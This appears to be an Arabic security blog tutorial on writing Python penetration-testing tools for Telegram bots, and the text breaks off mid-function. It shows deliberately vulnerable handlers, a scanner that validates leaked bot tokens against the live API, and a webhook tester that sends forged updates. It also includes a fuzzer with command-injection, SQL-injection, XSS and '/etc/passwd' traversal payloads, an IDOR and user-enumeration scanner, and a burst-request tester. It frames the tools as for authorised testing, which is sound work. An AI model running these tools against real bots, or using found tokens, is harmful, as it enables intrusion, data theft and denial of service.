السلام عليكم متابعين قناة ومدونة Shadow Hacker كالعادة راجعلكم اليوم بموضوع جبار ومهم جداً لكل مختبر اختراق ومطور بوتات تلجرام. اليوم رح نحكي عن أفضل طرق صناعة أكواد اختبار اختراق لبوتات تلجرام — يعني كيف تبني أدوات وسكربتات تفحص بوتات Telegram وتلاقي الثغرات الأمنية فيها. هاد الموضوع مهم جداً لأنو بوتات تلجرام صارت منتشرة بشكل مجنون — في بوتات للدفع، للتجارة، لإدارة المجموعات، وحتى بوتات بتتعامل مع بيانات حساسة. وأي ثغرة ببوت ممكن تعرض آلاف المستخدمين للخطر.
أفضل طرق صناعة أكواد اختبار اختراق لبوتات تلجرام 2026
المشكلة اللي بشوفها إنو أغلب المطورين بيبنوا بوتات تلجرام بدون ما يفكروا بالأمان — بيركزوا على الوظائف وبينسوا إنو البوت هو تطبيق ويب بالنهاية، وبيتعرض لنفس الهجمات: SQL Injection، Command Injection، IDOR، Authentication Bypass، وغيرها. وأنا شخصياً لقيت ثغرات خطيرة ببوتات مشهورة — بوتات عليها عشرات الآلاف من المستخدمين — بس لأنو ما حدا فحصها صح. فاليوم رح أعلمك كيف تبني أدوات اختبار اختراق مخصصة لبوتات تلجرام، من الصفر، بلغة Python.
قبل ما نبدأ، لازم أحكيلك إشي مهم: كل اللي رح نحكي عنه اليوم هو لأغراض الاختبار الأمني المصرح — يعني إما على بوتات إنت مطورها، أو على بوتات ضمن برامج Bug Bounty، أو بإذن صريح من المالك. اختبار اختراق بوتات بدون إذن هو جريمة إلكترونية بكل دول العالم. هسا خلينا ندخل بالموضوع ونشوف كيف نبني أدوات احترافية لفحص بوتات تلجرام.
فهم بنية بوتات تلجرام — الأساسيات اللي لازم تعرفها
قبل ما تبدأ تكتب أدوات اختبار اختراق، لازم تفهم كيف بوتات تلجرام بتشتغل من الداخل. بوت تلجرام هو تطبيق بيتواصل مع Telegram Bot API — وهاي API بتوفرها تلجرام مجاناً لكل المطورين. البوت بيستقبل رسائل من المستخدمين عبر الـ API، بيعالجها، وبيرد عليها. في طريقتين رئيسيتين للتواصل مع الـ API:
- Long Polling (getUpdates): البوت بيسأل سيرفرات تلجرام كل شوي: "في رسائل جديدة؟" — وهاي الطريقة الأسهل للمبتدئين.
- Webhooks (setWebhook): تلجرام بترسل الرسائل مباشرة لسيرفر البوت عبر HTTPS POST request — وهاي الطريقة الأسرع والأكثر احترافية.
أغلب البوتات بتستخدم Webhooks لأنها أسرع وأقل استهلاك للموارد. بس هون بتبدأ المشاكل الأمنية — لأنو الـ webhook هو endpoint عادي على الإنترنت، وأي حد بيقدر يرسلله requests. لو المطور ما عمل validation صح للـ requests الجاية من تلجرام، ممكن مهاجم يرسل requests مزيفة ويخدع البوت. وهاد أول ثغرة رح نفحصها بأدواتنا.
الثغرات الشائعة ببوتات تلجرام — شو لازم تدور عليه
من تجربتي بفحص عشرات البوتات، لقيت إنو في ثغرات بتتكرر كتير. خليني أحكيلك عن أشهر الثغرات اللي لازم تفحصها بأدواتك:
1. Command Injection — تنفيذ أوامر على السيرفر
كتير بوتات بتستخدم دوال زي os.system() أو subprocess.call() عشان تنفذ أوامر على السيرفر — مثلاً بوت بيحول ملفات أو بيعمل معالجة للصور. المشكلة لما المطور بياخد input من المستخدم وبيحطه مباشرة بالأمر بدون sanitization. مثال:
# كود ضعيف - عرضة لـ Command Injection
import os
def handle_convert(user_input):
filename = user_input # اسم الملف من المستخدم
os.system(f"convert {filename}.jpg {filename}.png")
# لو المستخدم أرسل: test; rm -rf /
# الأمر رح يصير: convert test; rm -rf /.jpg test; rm -rf /.png
هاد مثال بسيط بس خطير جداً — المهاجم بيقدر ينفذ أي أمر على السيرفر. الحل الصح هو استخدام subprocess مع list arguments بدل string، أو استخدام shlex.quote() للـ sanitization.
2. SQL Injection — سرقة قاعدة البيانات
أغلب البوتات بتستخدم قواعد بيانات (SQLite، MySQL، PostgreSQL) عشان تخزن بيانات المستخدمين، الإحصائيات، أو المحتوى. ولما المطور بيبني queries بشكل غلط، بتصير عرضة لـ SQL Injection. مثال شائع:
# كود ضعيف - عرضة لـ SQL Injection
import sqlite3
def get_user_balance(user_id):
conn = sqlite3.connect('bot.db')
cursor = conn.cursor()
query = f"SELECT balance FROM users WHERE user_id = {user_id}"
cursor.execute(query)
return cursor.fetchone()
# لو المستخدم أرسل: 1 OR 1=1
# الـ query رح يصير: SELECT balance FROM users WHERE user_id = 1 OR 1=1
# ورح يرجع كل البيانات!
الحل هو استخدام Parameterized Queries دائماً — يعني بدل ما تحط المتغير مباشرة بالـ query، استخدم placeholders زي ? أو %s.
3. IDOR — الوصول لبيانات مستخدمين آخرين
Insecure Direct Object Reference (IDOR) هي ثغرة شائعة جداً ببوتات تلجرام. الفكرة إنو البوت بيستخدم معرّف المستخدم (user_id) عشان يجيب بياناته، بس بدون ما يتأكد إنو المستخدم اللي بيطلب البيانات هو نفسه صاحب البيانات. مثال:
# كود ضعيف - عرضة لـ IDOR
@bot.message_handler(commands=['profile'])
def show_profile(message):
# البوت بياخد الـ user_id من الرسالة
target_user = message.text.split()[1] # /profile 123456
user_data = get_user_data(target_user)
bot.reply_to(message, f"Name: {user_data['name']}, Email: {user_data['email']}")
# أي مستخدم بيقدر يشوف بروفايل أي مستخدم ثاني!
الحل هو دائماً تتأكد إنو message.from_user.id (المستخدم اللي بعت الرسالة) هو نفسه المستخدم اللي بدك تجيب بياناته، أو على الأقل عندك authorization check.
4. Authentication Bypass — تجاوز نظام المصادقة
كتير بوتات بيكون فيها نظام admin أو نظام اشتراكات مدفوعة. والمشكلة لما المطور بيعتمد على checks بسيطة زي "هل المستخدم موجود بقائمة الـ admins؟" بدون ما يعمل validation صح. مثال:
# كود ضعيف - عرضة لـ Authentication Bypass
ADMIN_IDS = [123456, 789012]
@bot.message_handler(commands=['admin_panel'])
def admin_panel(message):
if message.from_user.id in ADMIN_IDS:
bot.reply_to(message, "Welcome Admin!")
else:
bot.reply_to(message, "Access Denied")
# المشكلة: لو في race condition أو لو المهاجم قدر يغير الـ user_id بطريقة ما
هاي بس الثغرات الأشهر — في كمان ثغرات ثانية زي Path Traversal (لو البوت بيتعامل مع ملفات)، SSRF (لو البوت بيجيب محتوى من URLs)، Rate Limiting (لو البوت ما عنده حماية ضد الطلبات الكثيرة)، و Information Disclosure (لو البوت بيسرب معلومات بـ error messages). هسا خلينا نبدأ نكتب الأدوات.
بناء أداة فحص Bot Token Leakage — أول أداة
أول وأخطر ثغرة ببوتات تلجرام هي تسريب الـ Bot Token. الـ Bot Token هو المفتاح الرئيسي للبوت — أي شخص عنده هاد التوكن بيقدر يتحكم بالبوت بالكامل: يقرأ الرسائل، يرسل رسائل، يعدل إعدادات البوت، وحتى يحذفه. المشكلة إنو كتير مطورين بيحطوا التوكن بالكود مباشرة وبيرفعوه على GitHub بالغلط. خليني أعطيك أداة بتدور على توكنات تلجرام المسربة:
#!/usr/bin/env python3
"""
ShadowTokenHunter v1.0 — Telegram Bot Token Scanner
يبحث عن Bot Tokens مسربة في repositories ويتحقق من صلاحيتها
Shadow Hacker — 2026
"""
import re
import os
import sys
import json
import argparse
import requests
from pathlib import Path
from datetime import datetime
# نمط الـ Bot Token في تلجرام
TOKEN_PATTERN = re.compile(
r'\b[0-9]{8,10}:[A-Za-z0-9_-]{35}\b'
)
TELEGRAM_API = "https://api.telegram.org/bot{token}"
def validate_token(token: str) -> dict:
"""يتحقق من صلاحية التوكن عبر Telegram API"""
try:
url = f"{TELEGRAM_API.format(token=token)}/getMe"
resp = requests.get(url, timeout=10)
data = resp.json()
if data.get("ok"):
bot_info = data["result"]
return {
"valid": True,
"token": token,
"bot_name": bot_info.get("first_name", ""),
"username": bot_info.get("username", ""),
"can_join_groups": bot_info.get("can_join_groups", False),
"can_read_messages": bot_info.get("can_read_all_group_messages", False),
}
except requests.RequestException:
pass
return {"valid": False, "token": token}
def scan_file(filepath: str) -> list:
"""يفحص ملف واحد ويبحث عن توكنات"""
tokens_found = []
try:
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
matches = TOKEN_PATTERN.findall(content)
for token in set(matches):
result = validate_token(token)
result["source_file"] = filepath
tokens_found.append(result)
except (IOError, PermissionError):
pass
return tokens_found
def scan_directory(target_dir: str, extensions: list = None) -> list:
"""يفحص مجلد كامل بشكل recursive"""
if extensions is None:
extensions = ['.py', '.js', '.ts', '.env', '.yml', '.yaml',
'.json', '.cfg', '.ini', '.conf', '.txt', '.md',
'.php', '.rb', '.go', '.java', '.sh', '.bat']
all_tokens = []
target_path = Path(target_dir)
for filepath in target_path.rglob('*'):
if filepath.is_file() and filepath.suffix.lower() in extensions:
tokens = scan_file(str(filepath))
all_tokens.extend(tokens)
return all_tokens
def main():
parser = argparse.ArgumentParser(
description="ShadowTokenHunter — Telegram Bot Token Scanner"
)
parser.add_argument("target", help="مسار المجلد أو الملف للفحص")
parser.add_argument("-o", "--output", help="ملف الـ output (JSON)")
parser.add_argument("-v", "--verbose", action="store_true")
args = parser.parse_args()
print("[*] ShadowTokenHunter v1.0 — Shadow Hacker")
print(f"[*] Target: {args.target}")
print(f"[*] Scanning...")
if os.path.isfile(args.target):
results = scan_file(args.target)
elif os.path.isdir(args.target):
results = scan_directory(args.target)
else:
print(f"[!] Target not found: {args.target}")
sys.exit(1)
valid_tokens = [r for r in results if r["valid"]]
invalid_tokens = [r for r in results if not r["valid"]]
print(f"\n{'='*50}")
print(f"[*] Total tokens found: {len(results)}")
print(f"[+] Valid tokens: {len(valid_tokens)}")
print(f"[-] Invalid tokens: {len(invalid_tokens)}")
for t in valid_tokens:
print(f"\n[VALID] Token: {t['token'][:20]}...")
print(f" Bot Name: {t['bot_name']}")
print(f" Username: @{t['username']}")
print(f" Source: {t['source_file']}")
if args.output:
with open(args.output, 'w') as f:
json.dump(results, f, indent=2)
print(f"\n[*] Results saved to: {args.output}")
if __name__ == "__main__":
main()
هاي الأداة بتعمل إشي بسيط بس قوي جداً — بتاخد مسار مجلد (مثلاً repository محلي) وبتفحص كل الملفات وبتدور على أي نمط يشبه Bot Token. ولما تلاقي توكن، بتتصل على Telegram API وبتتأكد إذا التوكن شغال أو لا. لو شغال — بتعطيك كل معلومات البوت. بتقدر تستخدمها بالشكل هاد:
# فحص مجلد كامل python shadow_token_hunter.py /path/to/repo -o results.json # فحص ملف واحد python shadow_token_hunter.py config.py -v
بناء Webhook Tester — فحص أمان الـ Webhook
لما بوت تلجرام بيستخدم Webhooks، بيكون عنده endpoint على الإنترنت بيستقبل الرسائل من تلجرام. المشكلة إنو كتير مطورين ما بيتحققوا إذا الـ request فعلاً جاي من تلجرام أو من مهاجم. تلجرام بتوفر طريقة للتحقق — عبر Secret Token اللي بيترسل بالـ header X-Telegram-Bot-Api-Secret-Token. بس كتير مطورين ما بيستخدموها! هاي أداة بتفحص هالثغرة:
#!/usr/bin/env python3
"""
ShadowWebhookTester v1.0 — Telegram Bot Webhook Security Tester
يفحص أمان webhook endpoints لبوتات تلجرام
Shadow Hacker — 2026
"""
import json
import argparse
import requests
from urllib.parse import urlparse
# رسالة مزيفة تحاكي رسالة من تلجرام
FAKE_UPDATE = {
"update_id": 999999999,
"message": {
"message_id": 1,
"from": {
"id": 123456789,
"is_bot": False,
"first_name": "Test",
"username": "test_user"
},
"chat": {
"id": 123456789,
"first_name": "Test",
"type": "private"
},
"date": 1700000000,
"text": "/start"
}
}
# Payloads مختلفة للاختبار
INJECTION_PAYLOADS = {
"command_injection": "/start; id",
"sql_injection": "/search' OR '1'='1",
"xss_test": "/start <script>alert(1)</script>",
"path_traversal": "/download ../../../../etc/passwd",
"format_string": "/echo %x%x%x%x",
"template_injection": "/render {{7*7}}",
"long_input": "/start " + "A" * 10000,
}
def test_webhook_auth(webhook_url: str) -> dict:
"""يفحص إذا الـ webhook بيقبل requests بدون authentication"""
results = {
"url": webhook_url,
"tests": []
}
# Test 1: إرسال بدون أي header
print("[*] Test 1: No authentication headers...")
try:
resp = requests.post(
webhook_url,
json=FAKE_UPDATE,
timeout=10,
headers={"Content-Type": "application/json"}
)
results["tests"].append({
"name": "No Auth Headers",
"status_code": resp.status_code,
"vulnerable": resp.status_code == 200,
"response": resp.text[:200]
})
if resp.status_code == 200:
print(f" [!] VULNERABLE — accepted without auth (status: 200)")
else:
print(f" [+] Protected — status: {resp.status_code}")
except requests.RequestException as e:
print(f" [-] Error: {e}")
# Test 2: إرسال مع secret token خاطئ
print("[*] Test 2: Wrong secret token...")
try:
resp = requests.post(
webhook_url,
json=FAKE_UPDATE,
timeout=10,
headers={
"Content-Type": "application/json",
"X-Telegram-Bot-Api-Secret-Token": "wrong_token_test"
}
)
results["tests"].append({
"name": "Wrong Secret Token",
"status_code": resp.status_code,
"vulnerable": resp.status_code == 200,
"response": resp.text[:200]
})
if resp.status_code == 200:
print(f" [!] VULNERABLE — accepted wrong token (status: 200)")
else:
print(f" [+] Protected — status: {resp.status_code}")
except requests.RequestException as e:
print(f" [-] Error: {e}")
# Test 3: إرسال بدون Content-Type
print("[*] Test 3: Missing Content-Type...")
try:
resp = requests.post(
webhook_url,
data=json.dumps(FAKE_UPDATE),
timeout=10
)
results["tests"].append({
"name": "Missing Content-Type",
"status_code": resp.status_code,
"vulnerable": resp.status_code == 200,
})
except requests.RequestException:
pass
return results
def test_injection(webhook_url: str) -> dict:
"""يفحص ثغرات الـ injection المختلفة"""
results = {"injection_tests": []}
for name, payload in INJECTION_PAYLOADS.items():
print(f"[*] Testing: {name}...")
fake_msg = FAKE_UPDATE.copy()
fake_msg["message"] = FAKE_UPDATE["message"].copy()
fake_msg["message"]["text"] = payload
try:
resp = requests.post(
webhook_url,
json=fake_msg,
timeout=15,
headers={"Content-Type": "application/json"}
)
result = {
"name": name,
"payload": payload,
"status_code": resp.status_code,
"response_length": len(resp.text),
"response_preview": resp.text[:300]
}
results["injection_tests"].append(result)
if resp.status_code == 500:
print(f" [!] Possible vulnerability — server error (500)")
elif resp.status_code == 200 and len(resp.text) > 100:
print(f" [?] Interesting response — check manually")
else:
print(f" [-] Status: {resp.status_code}")
except requests.Timeout:
print(f" [!] TIMEOUT — possible blind injection!")
results["injection_tests"].append({
"name": name,
"payload": payload,
"status": "TIMEOUT"
})
except requests.RequestException as e:
print(f" [-] Error: {e}")
return results
def main():
parser = argparse.ArgumentParser(
description="ShadowWebhookTester — Telegram Webhook Security Tester"
)
parser.add_argument("url", help="Webhook URL للفحص")
parser.add_argument("-o", "--output", help="ملف الـ output (JSON)")
parser.add_argument("--injection", action="store_true",
help="فحص ثغرات injection")
args = parser.parse_args()
print("[*] ShadowWebhookTester v1.0 — Shadow Hacker")
print(f"[*] Target: {args.url}")
print(f"{'='*50}\n")
auth_results = test_webhook_auth(args.url)
injection_results = {}
if args.injection:
print(f"\n{'='*50}")
print("[*] Starting injection tests...")
injection_results = test_injection(args.url)
all_results = {**auth_results, **injection_results}
if args.output:
with open(args.output, 'w') as f:
json.dump(all_results, f, indent=2)
print(f"\n[*] Results saved to: {args.output}")
if __name__ == "__main__":
main()
هاي الأداة بتعمل إشي مهم جداً — بتفحص إذا الـ webhook endpoint بيقبل requests من أي جهة (مش بس من تلجرام). لو البوت قبل الرسالة المزيفة وعالجها — هاد معناه عنده ثغرة خطيرة. المهاجم بيقدر يرسل أوامر admin مزيفة، أو يخدع البوت إنو مستخدم معين بعت رسالة. الأداة كمان بتفحص ثغرات injection — بترسل payloads مختلفة وبتشوف كيف البوت بيتعامل معها. استخدامها بسيط:
# فحص webhook authentication python shadow_webhook_tester.py https://your-bot.com/webhook # فحص مع اختبار injection python shadow_webhook_tester.py https://your-bot.com/webhook --injection -o results.json[IMAGE_PLACEHOLDER_2]
بناء Bot Fuzzer — اختبار شامل للبوت
الـ Fuzzing هو تقنية بترسل inputs عشوائية أو غير متوقعة للتطبيق عشان تشوف كيف بيتعامل معها. بالنسبة لبوتات تلجرام، بتقدر تعمل fuzzing للأوامر، للـ callbacks، وللـ inline queries. هاي أداة fuzzer متقدمة:
#!/usr/bin/env python3
"""
ShadowBotFuzzer v1.0 — Telegram Bot Fuzzing Tool
يرسل inputs متنوعة للبوت ويحلل الردود
Shadow Hacker — 2026
"""
import time
import random
import string
import argparse
from telegram import Bot
from telegram.error import TelegramError
# Fuzzing payloads
FUZZ_PAYLOADS = [
# Command injection
"; id", "| whoami", "&& ls -la", "`cat /etc/passwd`",
"$(uname -a)", "; rm -rf /tmp/test",
# SQL injection
"' OR '1'='1", "' OR '1'='1' --", "' UNION SELECT NULL--",
"admin'--", "1' AND '1'='1", "' OR 1=1#",
# XSS
"<script>alert(1)</script>", "<img src=x onerror=alert(1)>",
"javascript:alert(1)", "<svg/onload=alert(1)>",
# Path traversal
"../../../etc/passwd", "..\\..\\..\\windows\\system32\\config\\sam",
"....//....//....//etc/passwd",
# Format string
"%x%x%x%x", "%s%s%s%s", "%n%n%n%n",
# Template injection
"{{7*7}}", "${7*7}", "#{7*7}", "<%= 7*7 %>",
# Buffer overflow
"A" * 1000, "A" * 10000, "A" * 100000,
# Unicode/encoding
"\x00", "\x0a\x0d", " ", "",
# Special characters
"!@#$%^&*()", "';DROP TABLE users--",
# Long strings
"test" * 1000,
# Null/empty
"", " ", "\n", "\t",
]
class BotFuzzer:
def __init__(self, token: str, target_chat_id: int):
self.bot = Bot(token=token)
self.chat_id = target_chat_id
self.results = []
def send_and_analyze(self, payload: str, command: str = "/start") -> dict:
"""يرسل payload ويحلل الرد"""
full_message = f"{command} {payload}"
result = {
"payload": payload,
"command": command,
"sent_at": time.time(),
"status": "unknown",
"response": None,
"error": None
}
try:
# إرسال الرسالة
sent_msg = self.bot.send_message(
chat_id=self.chat_id,
text=full_message
)
result["status"] = "sent"
result["message_id"] = sent_msg.message_id
# انتظار الرد (بسيط — في الواقع تحتاج polling أو webhook)
time.sleep(2)
# محاولة قراءة آخر رسالة
updates = self.bot.get_updates(offset=-1, limit=1)
if updates and updates[0].message:
last_msg = updates[0].message
if last_msg.chat_id == self.chat_id:
result["response"] = last_msg.text
result["status"] = "replied"
except TelegramError as e:
result["status"] = "error"
result["error"] = str(e)
return result
def fuzz_command(self, command: str, payloads: list = None) -> list:
"""يعمل fuzzing لأمر معين"""
if payloads is None:
payloads = FUZZ_PAYLOADS
print(f"[*] Fuzzing command: {command}")
print(f"[*] Total payloads: {len(payloads)}")
for i, payload in enumerate(payloads, 1):
print(f"[{i}/{len(payloads)}] Testing: {payload[:50]}...")
result = self.send_and_analyze(payload, command)
self.results.append(result)
# تحليل النتيجة
if result["status"] == "error":
print(f" [!] ERROR: {result['error']}")
elif result["status"] == "replied":
if "error" in result["response"].lower():
print(f" [!] Bot returned error message")
elif len(result["response"]) > 500:
print(f" [?] Long response — possible info disclosure")
else:
print(f" [-] Normal response")
# Rate limiting
time.sleep(random.uniform(0.5, 2))
return self.results
def generate_random_payloads(self, count: int = 100) -> list:
"""يولد payloads عشوائية"""
payloads = []
for _ in range(count):
length = random.randint(1, 1000)
charset = string.ascii_letters + string.digits + string.punctuation
payload = ''.join(random.choice(charset) for _ in range(length))
payloads.append(payload)
return payloads
def analyze_results(self) -> dict:
"""يحلل النتائج ويعطي تقرير"""
total = len(self.results)
errors = sum(1 for r in self.results if r["status"] == "error")
replied = sum(1 for r in self.results if r["status"] == "replied")
interesting = []
for r in self.results:
if r["status"] == "error" and "500" in str(r["error"]):
interesting.append(("Server Error", r))
elif r["response"] and len(r["response"]) > 500:
interesting.append(("Long Response", r))
elif r["response"] and any(
keyword in r["response"].lower()
for keyword in ["error", "exception", "traceback", "warning"]
):
interesting.append(("Error Message", r))
return {
"total_tests": total,
"errors": errors,
"replied": replied,
"interesting_findings": interesting
}
def main():
parser = argparse.ArgumentParser(
description="ShadowBotFuzzer — Telegram Bot Fuzzing Tool"
)
parser.add_argument("token", help="Bot Token")
parser.add_argument("chat_id", type=int, help="Chat ID للاختبار")
parser.add_argument("-c", "--command", default="/start",
help="الأمر للاختبار (default: /start)")
parser.add_argument("--random", type=int,
help="عدد الـ payloads العشوائية")
parser.add_argument("-o", "--output", help="ملف الـ output (JSON)")
args = parser.parse_args()
print("[*] ShadowBotFuzzer v1.0 — Shadow Hacker")
print(f"[*] Target Bot Token: {args.token[:20]}...")
print(f"[*] Target Chat ID: {args.chat_id}")
print(f"{'='*50}\n")
fuzzer = BotFuzzer(args.token, args.chat_id)
payloads = FUZZ_PAYLOADS
if args.random:
print(f"[*] Generating {args.random} random payloads...")
payloads += fuzzer.generate_random_payloads(args.random)
fuzzer.fuzz_command(args.command, payloads)
print(f"\n{'='*50}")
print("[*] Analyzing results...")
analysis = fuzzer.analyze_results()
print(f"\n[*] Total tests: {analysis['total_tests']}")
print(f"[*] Errors: {analysis['errors']}")
print(f"[*] Replied: {analysis['replied']}")
print(f"[*] Interesting findings: {len(analysis['interesting_findings'])}")
if analysis['interesting_findings']:
print("\n[!] Interesting Findings:")
for finding_type, result in analysis['interesting_findings'][:10]:
print(f" - {finding_type}: {result['payload'][:50]}")
if args.output:
import json
with open(args.output, 'w') as f:
json.dump(fuzzer.results, f, indent=2)
print(f"\n[*] Full results saved to: {args.output}")
if __name__ == "__main__":
main()
هاي الأداة أقوى من السابقتين — بتعمل fuzzing شامل للبوت. بترسل مئات الـ payloads المختلفة وبتحلل الردود. لو البوت رد برسالة error فيها معلومات حساسة (زي stack trace أو database error) — هاد معناه في ثغرة. لو البوت crash أو ما رد — كمان في مشكلة. الأداة بتستخدم python-telegram-bot library، فلازم تثبتها:
pip install python-telegram-bot # استخدام الأداة python shadow_bot_fuzzer.py YOUR_BOT_TOKEN YOUR_CHAT_ID -c /search --random 50 -o fuzz_results.json
بناء IDOR Scanner — فحص ثغرات الوصول غير المصرح
ثغرات IDOR (Insecure Direct Object Reference) من أخطر الثغرات ببوتات تلجرام — خصوصاً البوتات اللي فيها نظام ملفات شخصية أو بيانات مستخدمين. الفكرة إنك بتحاول تغير الـ user_id أو الـ file_id وتشوف إذا بتقدر توصل لبيانات مستخدمين آخرين. هاي أداة متخصصة بفحص IDOR:
#!/usr/bin/env python3
"""
ShadowIDORScanner v1.0 — Telegram Bot IDOR Vulnerability Scanner
يفحص ثغرات IDOR في بوتات تلجرام
Shadow Hacker — 2026
"""
import time
import json
import argparse
from telegram import Bot
from telegram.error import TelegramError
class IDORScanner:
def __init__(self, token: str, your_chat_id: int):
self.bot = Bot(token=token)
self.your_chat_id = your_chat_id
self.findings = []
def test_user_enumeration(self, command: str, id_range: range) -> list:
"""يفحص إذا بتقدر تعدد المستخدمين"""
print(f"[*] Testing user enumeration with command: {command}")
valid_users = []
for user_id in id_range:
test_command = f"{command} {user_id}"
print(f" Testing ID: {user_id}...", end=" ")
try:
msg = self.bot.send_message(
chat_id=self.your_chat_id,
text=test_command
)
time.sleep(1)
# محاولة قراءة الرد
updates = self.bot.get_updates(offset=-1, limit=1)
if updates and updates[0].message:
response = updates[0].message.text
# تحليل الرد
if response and "not found" not in response.lower():
print("[+] VALID USER")
valid_users.append({
"user_id": user_id,
"command": test_command,
"response": response[:200]
})
else:
print("[-] Not found")
else:
print("[-] No response")
except TelegramError as e:
print(f"[!] Error: {e}")
time.sleep(0.5)
return valid_users
def test_idor_access(self, command: str, target_ids: list) -> list:
"""يفحص إذا بتقدر توصل لبيانات مستخدمين آخرين"""
print(f"[*] Testing IDOR with command: {command}")
accessible = []
for target_id in target_ids:
test_command = f"{command} {target_id}"
print(f" Testing access to ID {target_id}...", end=" ")
try:
msg = self.bot.send_message(
chat_id=self.your_chat_id,
text=test_command
)
time.sleep(1.5)
updates = self.bot.get_updates(offset=-1, limit=1)
if updates and updates[0].message:
response = updates[0].message.text
# البحث عن مؤشرات نجاح الوصول
success_indicators = [
"name:", "email:", "phone:", "balance:",
"profile", "data", "information"
]
if any(ind in response.lower() for ind in success_indicators):
print("[!] VULNERABLE — Data Accessible!")
accessible.append({
"target_id": target_id,
"command": test_command,
"response": response,
"severity": "HIGH"
})
else:
print("[-] Access denied or no data")
else:
print("[-] No response")
except TelegramError as e:
print(f"[!] Error: {e}")
time.sleep(0.5)
return accessible
def test_file_idor(self, command: str, file_ids: list) -> list:
"""يفحص إذا بتقدر توصل لملفات مستخدمين آخرين"""
print(f"[*] Testing file IDOR with command: {command}")
accessible_files = []
for file_id in file_ids:
test_command = f"{command} {file_id}"
print(f" Testing file ID {file_id}...", end=" ")
try:
msg = self.bot.send_message(
chat_id=self.your_chat_id,
text=test_command
)
time.sleep(2)
# التحقق من استلام ملف
updates = self.bot.get_updates(offset=-1, limit=1)
if updates and updates[0].message:
last_msg = updates[0].message
if last_msg.document or last_msg.photo or last_msg.video:
print("[!] VULNERABLE — File Accessible!")
accessible_files.append({
"file_id": file_id,
"command": test_command,
"file_type": "document" if last_msg.document else "media",
"severity": "CRITICAL"
})
else:
print("[-] No file received")
else:
print("[-] No response")
except TelegramError as e:
print(f"[!] Error: {e}")
time.sleep(0.5)
return accessible_files
def generate_report(self) -> dict:
"""يولد تقرير شامل"""
return {
"scan_time": time.time(),
"total_findings": len(self.findings),
"critical": sum(1 for f in self.findings if f.get("severity") == "CRITICAL"),
"high": sum(1 for f in self.findings if f.get("severity") == "HIGH"),
"findings": self.findings
}
def main():
parser = argparse.ArgumentParser(
description="ShadowIDORScanner — Telegram Bot IDOR Scanner"
)
parser.add_argument("token", help="Bot Token")
parser.add_argument("chat_id", type=int, help="Your Chat ID")
parser.add_argument("-c", "--command", required=True,
help="الأمر للاختبار (مثال: /profile)")
parser.add_argument("--enum", action="store_true",
help="فحص user enumeration")
parser.add_argument("--range", default="1-100",
help="نطاق الـ IDs للفحص (مثال: 1-100)")
parser.add_argument("--ids", help="قائمة IDs محددة (مثال: 123,456,789)")
parser.add_argument("--files", help="قائمة file IDs للفحص")
parser.add_argument("-o", "--output", help="ملف الـ output (JSON)")
args = parser.parse_args()
print("[*] ShadowIDORScanner v1.0 — Shadow Hacker")
print(f"[*] Target Bot Token: {args.token[:20]}...")
print(f"[*] Your Chat ID: {args.chat_id}")
print(f"[*] Command: {args.command}")
print(f"{'='*50}\n")
scanner = IDORScanner(args.token, args.chat_id)
# User enumeration
if args.enum:
start, end = map(int, args.range.split('-'))
valid_users = scanner.test_user_enumeration(
args.command,
range(start, end + 1)
)
scanner.findings.extend(valid_users)
print(f"\n[*] Found {len(valid_users)} valid users")
# IDOR access test
if args.ids:
target_ids = [int(x.strip()) for x in args.ids.split(',')]
accessible = scanner.test_idor_access(args.command, target_ids)
scanner.findings.extend(accessible)
print(f"\n[!] Accessible IDs: {len(accessible)}")
# File IDOR test
if args.files:
file_ids = [x.strip() for x in args.files.split(',')]
accessible_files = scanner.test_file_idor(args.command, file_ids)
scanner.findings.extend(accessible_files)
print(f"\n[!] Accessible files: {len(accessible_files)}")
# Generate report
report = scanner.generate_report()
print(f"\n{'='*50}")
print(f"[*] Total findings: {report['total_findings']}")
print(f"[!] Critical: {report['critical']}")
print(f"[!] High: {report['high']}")
if args.output:
with open(args.output, 'w') as f:
json.dump(report, f, indent=2)
print(f"\n[*] Report saved to: {args.output}")
if __name__ == "__main__":
main()
هاي الأداة متخصصة بفحص IDOR — بتحاول توصل لبيانات مستخدمين آخرين عبر تغيير الـ IDs. مثلاً لو البوت عنده أمر /profile 123 بيعرض بروفايل المستخدم رقم 123، الأداة بتجرب أرقام مختلفة وبتشوف إذا بتقدر توصل لبروفايلات مستخدمين آخرين. استخدامها:
# فحص user enumeration python shadow_idor_scanner.py YOUR_TOKEN YOUR_CHAT_ID -c /profile --enum --range 1-50 # فحص IDOR على IDs محددة python shadow_idor_scanner.py YOUR_TOKEN YOUR_CHAT_ID -c /getdata --ids 100,200,300,400 -o idor_report.json
بناء Rate Limit Tester — فحص حماية ضد الهجمات
كتير بوتات ما عندها حماية ضد Rate Limiting — يعني المهاجم بيقدر يرسل آلاف الطلبات بثواني ويعمل DoS للبوت أو يستنزف الموارد. وكمان في بوتات بتستخدم APIs خارجية (زي OpenAI أو payment gateways) وكل request بيكلف مصاري — لو ما في rate limiting، المهاجم بيقدر يخسرك مبالغ كبيرة. هاي أداة بتفحص هالثغرة:
#!/usr/bin/env python3
"""
ShadowRateTester v1.0 — Telegram Bot Rate Limiting Tester
يفحص حماية البوت ضد الطلبات الكثيرة
Shadow Hacker — 2026
"""
import time
import threading
import argparse
from collections import defaultdict
from telegram import Bot
from telegram.error import TelegramError
class RateLimitTester:
def __init__(self, token: str, chat_id: int):
self.bot = Bot(token=token)
self.chat_id = chat_id
self.results = defaultdict(list)
self.lock = threading.Lock()
def send_request(self, message: str, thread_id: int) -> dict:
"""يرسل request واحد ويسجل النتيجة"""
start_time = time.time()
result = {
"thread_id": thread_id,
"sent_at": start_time,
"status": "unknown",
"response_time": 0,
"error": None
}
try:
self.bot.send_message(chat_id=self.chat_id, text=message)
result["status"] = "success"
result["response_time"] = time.time() - start_time
except TelegramError as e:
result["status"] = "error"
result["error"] = str(e)
result["response_time"] = time.time() - start_time
# التحقق من رسائل rate limiting
if "too many requests" in str(e).lower():
result["rate_limited"] = True
elif "flood" in str(e).lower():
result["rate_limited"] = True
with self.lock:
self.results[thread_id].append(result)
return result
def burst_test(self, message: str, count: int, delay: float = 0) -> dict:
"""يرسل عدد كبير من الطلبات بسرعة"""
print(f"[*] Burst test: {count} requests with {delay}s delay")
start_time = time.time()
for i in range(count):
print(f" [{i+1}/{count}] Sending...", end=" ")
result = self.send_request(message, thread_id=0)
if result["status"] == "success":
print(f"OK ({result['response_time']:.2f}s)")
elif result.get("rate_limited"):
print(f"RATE LIMITED!")
else:
print(f"ERROR: {result['error'][:50]}")
if delay > 0:
time.sleep(delay)
total_time = time.time() - start_time
